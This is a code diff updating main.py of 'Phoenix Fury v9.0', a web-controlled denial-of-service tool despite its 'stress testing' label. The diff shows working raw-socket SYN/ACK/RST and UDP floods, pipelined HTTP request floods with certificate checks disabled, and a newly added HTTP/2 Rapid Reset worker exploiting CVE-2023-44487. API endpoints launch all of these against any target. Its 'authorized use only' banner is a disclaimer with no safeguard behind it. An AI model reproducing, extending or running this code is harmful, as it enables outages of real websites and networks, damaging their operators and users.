Update main.py

main.py

@@ -1,3 +1,13 @@
+"""
+🔥 Phoenix Fury v9.0 - Advanced Stress Testing Framework
+- HTTP/2 Rapid Reset Attack
+- Optimized L4/L7 with accurate metrics
+- Real-time statistics with proper rate calculation
+- Multi-protocol support
+
+⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️
+"""
+
 import os
 import sys
 import socket
@@ -9,57 +19,65 @@ import struct
 import ssl
 from ctypes import c_ulonglong
 from typing import Literal, List, Union
+from collections import deque
 
-# --- Third-party libraries ---
+# Third-party libraries
 import uvicorn
 import psutil
 from fastapi import FastAPI, BackgroundTasks, HTTPException
 from pydantic import BaseModel, Field
 
-# ====================================================================================
-#  AUTO-OPTIMIZED CONFIGURATION
-# ====================================================================================
+# Try to import HTTP/2 libraries
+try:
+    import h2.connection
+    import h2.config
+    import h2.events
+    H2_AVAILABLE = True
+except ImportError:
+    H2_AVAILABLE = False
+    print("[WARN] h2 library not found. HTTP/2 Rapid Reset unavailable. Install: pip install h2")
 
-# Attempt to use uvloop for better performance, but fall back if not available
+# Try uvloop
 try:
     import uvloop
     uvloop.install()
     print("[INFO] uvloop activated for enhanced performance.")
 except ImportError:
-    print("[INFO] uvloop not found. Using standard asyncio event loop.")
-    pass
+    print("[INFO] uvloop not found. Using standard asyncio.")
+
+# =============================================================================
+# SYSTEM CONFIGURATION
+# =============================================================================
 
 CPU_COUNT = psutil.cpu_count(logical=True) or 8
 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
 def calculate_optimal_config():
-    """
-    Calculates a more realistic number of processes based on CPU cores
-    to avoid overwhelming the host system.
-    """
+    """Calculate optimal configuration based on system resources."""
     if CPU_COUNT >= 32:
-        max_processes = CPU_COUNT * 2  # 64-96 processes for 32-48 cores
+        max_processes = CPU_COUNT * 3
+        requests_per_conn = 1000
     elif CPU_COUNT >= 16:
-        max_processes = CPU_COUNT * 3  # 48 processes for 16 cores
+        max_processes = CPU_COUNT * 4
+        requests_per_conn = 800
     elif CPU_COUNT >= 8:
-        max_processes = CPU_COUNT * 4  # 32 processes for 8 cores
+        max_processes = CPU_COUNT * 6
+        requests_per_conn = 600
     elif CPU_COUNT >= 4:
-        max_processes = CPU_COUNT * 6  # 24 processes for 4 cores
+        max_processes = CPU_COUNT * 8
+        requests_per_conn = 500
     else:
-        max_processes = CPU_COUNT * 8  # 16 processes for 2 cores
-    
-    # L7 worker configuration
-    requests_per_connection = 500  # Send 500 requests per socket before reconnecting
+        max_processes = CPU_COUNT * 10
+        requests_per_conn = 400
     
-    return max_processes, requests_per_connection
+    return max_processes, requests_per_conn
 
-# Set global configuration constants
 MAX_PROCESSES, REQUESTS_PER_CONNECTION = calculate_optimal_config()
-STATS_BATCH_UPDATE_SIZE = 1000  # Update shared counter every 1000 requests for performance
+STATS_UPDATE_INTERVAL = 0.5  # Update stats every 500ms for accuracy
 
-# ====================================================================================
-#  Pydantic API Models
-# ====================================================================================
+# =============================================================================
+# API MODELS
+# =============================================================================
 
 class BaseAttackConfig(BaseModel):
     target: str = Field(..., description="Target hostname or IP address")
@@ -67,15 +85,15 @@ class BaseAttackConfig(BaseModel):
     duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
 
 class L4TCPConfig(BaseAttackConfig):
-    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
+    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn")
 
 class L4UDPConfig(BaseAttackConfig):
-    method: Literal["flood"] = Field("flood", description="Method for UDP attack")
-    payload_size: int = Field(1024, ge=1, le=1472, description="Size of UDP payload in bytes.")
+    method: Literal["flood"] = Field("flood")
+    payload_size: int = Field(1024, ge=1, le=1472)
 
 class L7Config(BaseAttackConfig):
-    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
-    path: str = Field("/", description="Request path")
+    method: Literal["get", "post", "head", "http2-rapid-reset"] = Field("get")
+    path: str = Field("/")
 
 class StatusResponse(BaseModel):
     attack_active: bool
@@ -88,15 +106,16 @@ class StatusResponse(BaseModel):
     processes: int
     total_sent: int
     current_rate_pps_rps: float
+    average_rate: float
     cpu_usage_percent: float
     memory_usage_percent: float
 
-# ====================================================================================
-#  CORE NETWORKING & PACKET CRAFTING (For L4 Attacks)
-# ====================================================================================
+# =============================================================================
+# NETWORKING UTILITIES
+# =============================================================================
 
 def check_root() -> bool:
-    """Check if running with root/admin privileges, required for raw sockets."""
+    """Check if running with root/admin privileges."""
     try:
         return os.geteuid() == 0
     except AttributeError:
@@ -104,7 +123,7 @@ def check_root() -> bool:
         return ctypes.windll.shell32.IsUserAnAdmin() != 0
 
 def resolve_target(target: str) -> str:
-    """Resolve hostname to IP address, cleaning up URL prefixes."""
+    """Resolve hostname to IP address."""
     try:
         if "://" in target:
             target = target.split("://")[1].split("/")[0]
@@ -113,7 +132,7 @@ def resolve_target(target: str) -> str:
         raise ValueError(f"Could not resolve hostname: {target}")
 
 def get_local_ip(target_ip: str) -> str:
-    """Get the local IP address that routes to the target."""
+    """Get local IP that routes to target."""
     try:
         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
         s.connect((target_ip, 1))
@@ -135,7 +154,7 @@ def calculate_checksum(data: bytes) -> int:
     return (~s) & 0xffff
 
 def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
-    """Create a raw IP header."""
+    """Create raw IP header."""
     header = struct.pack('!BBHHHBBH4s4s',
         (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
         socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
@@ -144,7 +163,7 @@ def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> by
     return header[:10] + struct.pack('!H', checksum) + header[12:]
 
 def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
-    """Create a raw TCP header with specified flags."""
+    """Create raw TCP header."""
     seq = random.randint(1, 4294967295)
     ack_seq = 0
     header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
@@ -153,38 +172,36 @@ def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, fl
     return header[:16] + struct.pack('!H', checksum) + header[18:]
 
 def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
-    """Create a raw UDP header."""
+    """Create raw UDP header."""
     udp_len = 8 + len(payload)
     header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
     pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
     checksum = calculate_checksum(pseudo_header + header + payload)
     return header[:6] + struct.pack('!H', checksum)
 
-# ====================================================================================
-#  WORKER PROCESSES
-# ====================================================================================
+# =============================================================================
+# WORKER PROCESSES
+# =============================================================================
 
 def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
-    """Ultra-optimized L4 worker using raw sockets for maximum PPS."""
+    """Ultra-optimized L4 worker."""
     try:
         sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
         sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
-        # Increase socket buffer for higher throughput
-        sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
+        sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2 * 1024 * 1024)
         local_ip = get_local_ip(target_ip)
     except Exception as e:
-        print(f"[Worker PID {os.getpid()}] L4 Init Error: {e}. Raw sockets often require root privileges.", file=sys.stderr)
+        print(f"[Worker PID {os.getpid()}] L4 Init Error: {e}", file=sys.stderr)
         return
-
+    
     local_counter = 0
+    batch_size = 100
     flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
     
-    # Pre-generate payload for UDP flood to avoid overhead in the loop
     if attack_type == 'udp':
         payload = os.urandom(method_details)
         udp_len = 8 + len(payload)
-
-    # Main packet crafting loop - optimized for speed
+    
     while not stop_event.is_set():
         try:
             src_port = random.randint(10000, 65535)
@@ -193,7 +210,7 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
                 ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
                 tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
                 packet = ip_header + tcp_header
-            else:  # udp
+            else:
                 ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
                 udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
                 packet = ip_header + udp_header + payload
@@ -201,36 +218,37 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
             sock.sendto(packet, (target_ip, port))
             local_counter += 1
             
-            # Batch counter updates for performance
-            if local_counter >= STATS_BATCH_UPDATE_SIZE:
+            if local_counter >= batch_size:
                 with shared_counter.get_lock():
                     shared_counter.value += local_counter
                 local_counter = 0
         except Exception:
-            pass  # Ignore send errors for maximum speed
-
-    # Final counter update before exiting
+            pass
+    
     if local_counter > 0:
         with shared_counter.get_lock():
             shared_counter.value += local_counter
     sock.close()
 
 def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
-    """Simple but effective L7 worker using standard blocking sockets."""
+    """Optimized HTTP/1.1 worker with pipelining."""
     use_ssl = (port in [443, 8443])
-    host_header = target_ip # Use IP in host header for direct attacks
-    
-    http_template = f"{method.upper()} {path}?r={{}} HTTP/1.1\r\nHost: {host_header}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
-    http_request = http_template.encode()
+    http_methods = {
+        "get": "GET",
+        "post": "POST",
+        "head": "HEAD"
+    }
+    http_method = http_methods.get(method.lower(), "GET")
     
     local_counter = 0
+    batch_size = 100
     
-    # TIGHT LOOP: Connect -> Send burst -> Disconnect -> Repeat
     while not stop_event.is_set():
         sock = None
         try:
             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+            sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 512 * 1024)
             sock.settimeout(3)
             sock.connect((target_ip, port))
             
@@ -240,39 +258,139 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
                 context.verify_mode = ssl.CERT_NONE
                 sock = context.wrap_socket(sock, server_hostname=target_ip)
             
-            # Send a burst of pipelined requests
+            # Send pipelined requests
             for i in range(requests_per_conn):
                 if stop_event.is_set():
                     break
                 try:
-                    sock.send(http_request.replace(b'{}', str(random.randint(1,99999)).encode()))
+                    rand_param = random.randint(1, 999999)
+                    request = f"{http_method} {path}?r={rand_param} HTTP/1.1\r\nHost: {target_ip}\r\nUser-Agent: Phoenix/9.0\r\nConnection: keep-alive\r\n\r\n"
+                    sock.send(request.encode())
                     local_counter += 1
+                    
+                    if local_counter >= batch_size:
+                        with shared_counter.get_lock():
+                            shared_counter.value += local_counter
+                        local_counter = 0
                 except (socket.error, BrokenPipeError):
-                    break # Connection broke, reconnect
+                    break
+        except (socket.error, ssl.SSLError, ConnectionRefusedError, TimeoutError):
+            time.sleep(0.05)
+        finally:
+            if sock:
+                try:
+                    sock.close()
+                except Exception:
+                    pass
+    
+    if local_counter > 0:
+        with shared_counter.get_lock():
+            shared_counter.value += local_counter
+
+def http2_rapid_reset_worker(stop_event, shared_counter, target_ip, port, path):
+    """
+    HTTP/2 Rapid Reset Attack Worker
+    
+    This attack exploits CVE-2023-44487 by rapidly creating and resetting
+    HTTP/2 streams, causing resource exhaustion on the server.
+    """
+    if not H2_AVAILABLE:
+        print(f"[Worker PID {os.getpid()}] HTTP/2 library not available", file=sys.stderr)
+        return
+    
+    use_ssl = (port in [443, 8443])
+    local_counter = 0
+    batch_size = 100
+    
+    while not stop_event.is_set():
+        sock = None
+        try:
+            # Establish connection
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+            sock.settimeout(5)
+            sock.connect((target_ip, port))
+            
+            if use_ssl:
+                context = ssl.create_default_context()
+                context.check_hostname = False
+                context.verify_mode = ssl.CERT_NONE
+                context.set_alpn_protocols(['h2'])
+                sock = context.wrap_socket(sock, server_hostname=target_ip)
+            
+            # Initialize HTTP/2 connection
+            config = h2.config.H2Configuration(client_side=True)
+            conn = h2.connection.H2Connection(config=config)
+            conn.initiate_connection()
+            sock.sendall(conn.data_to_send())
+            
+            # Rapid Reset Attack: Create streams and immediately reset them
+            stream_id = 1
+            reset_count = 0
+            max_resets_per_conn = 1000
+            
+            while not stop_event.is_set() and reset_count < max_resets_per_conn:
+                try:
+                    # Send request on new stream
+                    headers = [
+                        (':method', 'GET'),
+                        (':path', f'{path}?r={random.randint(1, 999999)}'),
+                        (':scheme', 'https' if use_ssl else 'http'),
+                        (':authority', target_ip),
+                        ('user-agent', 'Phoenix-Fury/9.0'),
+                    ]
+                    
+                    conn.send_headers(stream_id, headers)
+                    
+                    # IMMEDIATELY send RST_STREAM (Rapid Reset)
+                    conn.reset_stream(stream_id, error_code=0x8)  # CANCEL
+                    
+                    # Send data to server
+                    data = conn.data_to_send()
+                    if data:
+                        sock.sendall(data)
+                    
+                    local_counter += 1
+                    reset_count += 1
+                    stream_id += 2  # Client streams are odd numbers
+                    
+                    # Update counter in batches
+                    if local_counter >= batch_size:
+                        with shared_counter.get_lock():
+                            shared_counter.value += local_counter
+                        local_counter = 0
+                    
+                    # Handle server responses (without blocking)
+                    sock.setblocking(False)
+                    try:
+                        data = sock.recv(65536)
+                        if data:
+                            events = conn.receive_data(data)
+                    except (socket.error, BlockingIOError):
+                        pass
+                    sock.setblocking(True)
+                    
+                except Exception:
+                    break
             
         except (socket.error, ssl.SSLError, ConnectionRefusedError, TimeoutError):
-            time.sleep(0.1) # Brief pause on connection failure
+            time.sleep(0.1)
+        except Exception as e:
+            pass
         finally:
             if sock:
                 try:
                     sock.close()
                 except Exception:
                     pass
-        
-        # Update shared counter in batches to reduce lock contention
-        if local_counter >= STATS_BATCH_UPDATE_SIZE:
-            with shared_counter.get_lock():
-                shared_counter.value += local_counter
-            local_counter = 0
     
-    # Final update
     if local_counter > 0:
         with shared_counter.get_lock():
             shared_counter.value += local_counter
 
-# ====================================================================================
-#  CENTRALIZED ATTACK MANAGER (SINGLETON)
-# ====================================================================================
+# =============================================================================
+# ATTACK MANAGER
+# =============================================================================
 
 class AttackManager:
     _instance = None
@@ -282,7 +400,7 @@ class AttackManager:
             cls._instance = super(AttackManager, cls).__new__(cls)
             cls._instance._initialized = False
         return cls._instance
-
+    
     def __init__(self):
         if self._initialized:
             return
@@ -290,7 +408,7 @@ class AttackManager:
         self.lock = threading.Lock()
         self.stats_thread = None
         self._reset_state()
-
+    
     def _reset_state(self):
         self.attack_active = False
         self.attack_type = "None"
@@ -304,37 +422,43 @@ class AttackManager:
         self.stop_event = multiprocessing.Event()
         self.counter = multiprocessing.Value(c_ulonglong, 0)
         self.current_rate = 0.0
-
+        self.rate_history = deque(maxlen=10)  # Keep last 10 measurements
+    
     def is_active(self):
         with self.lock:
             return self.attack_active
-
+    
     def _stats_calculator(self):
-        """Background thread to calculate current rate (RPS/PPS)."""
-        last_check_time = time.time()
+        """Accurate real-time statistics calculator."""
         last_count = 0
+        last_time = time.time()
         
         while not self.stop_event.is_set():
-            time.sleep(1)
-            now = time.time()
+            time.sleep(STATS_UPDATE_INTERVAL)
+            
+            current_time = time.time()
             current_count = self.counter.value
-            elapsed = now - last_check_time
             
-            if elapsed > 0:
-                self.current_rate = (current_count - last_count) / elapsed
+            time_delta = current_time - last_time
+            count_delta = current_count - last_count
+            
+            if time_delta > 0:
+                instant_rate = count_delta / time_delta
+                self.rate_history.append(instant_rate)
+                self.current_rate = sum(self.rate_history) / len(self.rate_history)
             
-            last_check_time = now
             last_count = current_count
+            last_time = current_time
         
         self.current_rate = 0.0
-
+    
     def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
         with self.lock:
             if self.attack_active:
                 raise HTTPException(status_code=409, detail="An attack is already in progress.")
             
-            self._reset_state() # Reset before starting a new one
-
+            self._reset_state()
+            
             try:
                 self.target_host = config.target
                 self.target_ip = resolve_target(self.target_host)
@@ -342,7 +466,7 @@ class AttackManager:
                     raise PermissionError("Layer 4 attacks require root privileges.")
             except (ValueError, PermissionError) as e:
                 raise HTTPException(status_code=400, detail=str(e))
-
+            
             self.attack_active = True
             self.port = config.port
             self.duration = config.duration
@@ -353,9 +477,16 @@ class AttackManager:
             worker_target, worker_args, attack_name = (None, (), "Unknown")
             
             if family == 'l7' and isinstance(config, L7Config):
-                attack_name = f"L7-{config.method.upper()}"
-                worker_target = l7_worker_process
-                worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, REQUESTS_PER_CONNECTION)
+                if config.method == 'http2-rapid-reset':
+                    if not H2_AVAILABLE:
+                        raise HTTPException(status_code=400, detail="HTTP/2 library not installed. Run: pip install h2")
+                    attack_name = "L7-HTTP2-RAPID-RESET"
+                    worker_target = http2_rapid_reset_worker
+                    worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path)
+                else:
+                    attack_name = f"L7-{config.method.upper()}"
+                    worker_target = l7_worker_process
+                    worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, REQUESTS_PER_CONNECTION)
             
             elif family == 'l4':
                 worker_target = l4_worker_process
@@ -368,14 +499,14 @@ class AttackManager:
             
             self.attack_type = attack_name
             
-            print("\n" + "=" * 70)
-            print(f"🔥 PHOENIX FURY - ATTACK INITIATED 🔥")
+            print("\n" + "=" * 80)
+            print(f"🔥 PHOENIX FURY v9.0 - ATTACK INITIATED 🔥")
             print(f"   Type:         {self.attack_type}")
             print(f"   Target:       {self.target_host}:{self.port} ({self.target_ip})")
             print(f"   Duration:     {self.duration}s")
-            print(f"   Processes:    {self.process_count} (Auto-Optimized)")
-            print("=" * 70 + "\n")
-
+            print(f"   Processes:    {self.process_count}")
+            print("=" * 80 + "\n")
+            
             for _ in range(self.process_count):
                 p = multiprocessing.Process(target=worker_target, args=worker_args, daemon=True)
                 self.processes.append(p)
@@ -383,13 +514,13 @@ class AttackManager:
             
             self.stats_thread = threading.Thread(target=self._stats_calculator, daemon=True)
             self.stats_thread.start()
-
+    
     def stop(self):
         with self.lock:
             if not self.attack_active:
                 return
             
-            print(f"\n⚠️ Stop signal received. Terminating {len(self.processes)} processes...")
+            print(f"\n⚠️  Stop signal received. Terminating {len(self.processes)} processes...")
             self.stop_event.set()
             
             for p in self.processes:
@@ -400,23 +531,27 @@ class AttackManager:
                     p.terminate()
             
             if self.stats_thread:
-                self.stats_thread.join(timeout=1)
+                self.stats_thread.join(timeout=2)
             
             elapsed = time.time() - self.start_time
             total_sent = self.counter.value
             avg_rate = total_sent / elapsed if elapsed > 0 else 0
             
-            print("\n" + "=" * 50)
+            print("\n" + "=" * 80)
             print("✅ ATTACK TERMINATED")
-            print(f"   Total Sent:     {total_sent:,}")
+            print(f"   Total Requests: {total_sent:,}")
             print(f"   Elapsed Time:   {elapsed:.2f}s")
-            print(f"   Average Rate:   {avg_rate:,.2f} PPS/RPS")
-            print("=" * 50 + "\n")
+            print(f"   Average Rate:   {avg_rate:,.2f} RPS/PPS")
+            print("=" * 80 + "\n")
             
             self._reset_state()
-
+    
     def get_status(self) -> StatusResponse:
         with self.lock:
+            elapsed = time.time() - self.start_time if self.attack_active else 0
+            total = self.counter.value
+            avg_rate = total / elapsed if elapsed > 0 else 0
+            
             return StatusResponse(
                 attack_active=self.attack_active,
                 attack_type=self.attack_type,
@@ -424,77 +559,69 @@ class AttackManager:
                 target_ip=self.target_ip,
                 port=self.port,
                 duration=self.duration,
-                elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
+                elapsed_time=round(elapsed, 2),
                 processes=self.process_count,
-                total_sent=self.counter.value,
+                total_sent=total,
                 current_rate_pps_rps=round(self.current_rate, 2),
-                cpu_usage_percent=psutil.cpu_percent(),
+                average_rate=round(avg_rate, 2),
+                cpu_usage_percent=psutil.cpu_percent(interval=0.1),
                 memory_usage_percent=psutil.virtual_memory().percent
             )
 
-# ====================================================================================
-#  FASTAPI APPLICATION
-# ====================================================================================
+# =============================================================================
+# FASTAPI APPLICATION
+# =============================================================================
 
 app = FastAPI(
-    title="🔥 Phoenix Fury API - EXTREME PERFORMANCE Edition",
-    description="High-performance stress testing tool with auto-optimized settings. For authorized testing only.",
-    version="8.0.0"
+    title="🔥 Phoenix Fury v9.0 - Advanced Stress Testing Framework",
+    description="High-performance stress testing with HTTP/2 Rapid Reset. ⚠️ AUTHORIZED USE ONLY",
+    version="9.0.0"
 )
 
 MANAGER = AttackManager()
 
 def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
-    """Handles the background task lifecycle for an attack."""
-    try:
-        # The start method now raises HTTPException on failure
-        background_tasks.add_task(MANAGER.start, config, family)
-        
-        # Schedule the stop task to run after the duration
-        def delayed_stop():
-            time.sleep(config.duration)
-            MANAGER.stop()
-        
-        stop_thread = threading.Thread(target=delayed_stop, daemon=True)
-        stop_thread.start()
-
-    except HTTPException as e:
-        # Re-raise the exception to be handled by FastAPI
-        raise e
+    """Handle attack lifecycle."""
+    MANAGER.start(config, family)
+    
+    def delayed_stop():
+        time.sleep(config.duration)
+        MANAGER.stop()
+    
+    stop_thread = threading.Thread(target=delayed_stop, daemon=True)
+    stop_thread.start()
 
 @app.on_event("startup")
 async def on_startup():
     print("=" * 80)
-    print(f"🔥 Phoenix Fury API v8.0 is online.")
-    print(f"   System: {CPU_COUNT} CPU Cores, {TOTAL_RAM_GB:.1f} GB RAM")
-    print(f"   Auto-Config: {MAX_PROCESSES} Worker Processes, {REQUESTS_PER_CONNECTION} L7 reqs/conn")
-    if check_root():
-        print("✅ Running with root privileges - L4 attacks ENABLED.")
-    else:
-        print("⚠️ WARNING: Not running as root - L4 attacks will FAIL.")
+    print(f"🔥 Phoenix Fury v9.0 API is ONLINE")
+    print(f"   System:       {CPU_COUNT} CPU Cores, {TOTAL_RAM_GB:.1f} GB RAM")
+    print(f"   Config:       {MAX_PROCESSES} Workers, {REQUESTS_PER_CONNECTION} L7 reqs/conn")
+    print(f"   HTTP/2:       {'✅ ENABLED' if H2_AVAILABLE else '❌ DISABLED (pip install h2)'}")
+    print(f"   Root Access:  {'✅ YES (L4 Available)' if check_root() else '⚠️  NO (L4 Unavailable)'}")
     print("=" * 80)
 
 @app.post("/attack/layer7", status_code=202)
 def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
     run_attack_lifecycle(config, 'l7', background_tasks)
-    return {"status": "accepted", "message": f"L7 attack initiated on {config.target}:{config.port}"}
+    return {"status": "accepted", "message": f"L7 {config.method.upper()} attack initiated on {config.target}:{config.port}"}
 
 @app.post("/attack/layer4/tcp", status_code=202)
 def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
     run_attack_lifecycle(config, 'l4', background_tasks)
-    return {"status": "accepted", "message": f"L4 TCP {config.method.upper()} attack initiated on {config.target}:{config.port}"}
+    return {"status": "accepted", "message": f"L4 TCP {config.method.upper()} attack initiated"}
 
 @app.post("/attack/layer4/udp", status_code=202)
 def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
     run_attack_lifecycle(config, 'l4', background_tasks)
-    return {"status": "accepted", "message": f"L4 UDP {config.method.upper()} attack initiated on {config.target}:{config.port}"}
+    return {"status": "accepted", "message": f"L4 UDP attack initiated"}
 
 @app.post("/attack/stop")
 def api_stop_attack():
     if not MANAGER.is_active():
         return {"status": "info", "message": "No attack is currently running."}
     MANAGER.stop()
-    return {"status": "success", "message": "Stop signal sent successfully."}
+    return {"status": "success", "message": "Attack stopped successfully."}
 
 @app.get("/status", response_model=StatusResponse)
 def get_status():
@@ -503,24 +630,25 @@ def get_status():
 @app.get("/")
 def root():
     return {
-        "message": "🔥 Phoenix Fury API v8.0",
+        "message": "🔥 Phoenix Fury v9.0 - Advanced Stress Testing Framework",
         "docs_url": "/docs",
         "status_url": "/status",
+        "features": {
+            "http2_rapid_reset": H2_AVAILABLE,
+            "layer4_attacks": check_root(),
+            "auto_optimized": True
+        },
         "system_info": {
             "cpu_cores": CPU_COUNT,
-            "auto_configured_processes": MAX_PROCESSES,
-            "root_privileges": check_root()
+            "worker_processes": MAX_PROCESSES,
+            "ram_gb": round(TOTAL_RAM_GB, 2)
         }
     }
 
-# ====================================================================================
-#  MAIN EXECUTION BLOCK
-# ====================================================================================
+# =============================================================================
+# MAIN
+# =============================================================================
 
 if __name__ == "__main__":
-    # Required for compatibility on platforms like Windows
-    multiprocessing.freeze_support() 
-    
-    # Use workers=1 because the AttackManager singleton holds the global state.
-    # Multiple workers would create multiple managers, leading to conflicts.
-    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)
+    multiprocessing.freeze_support()
+    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, log_level="info")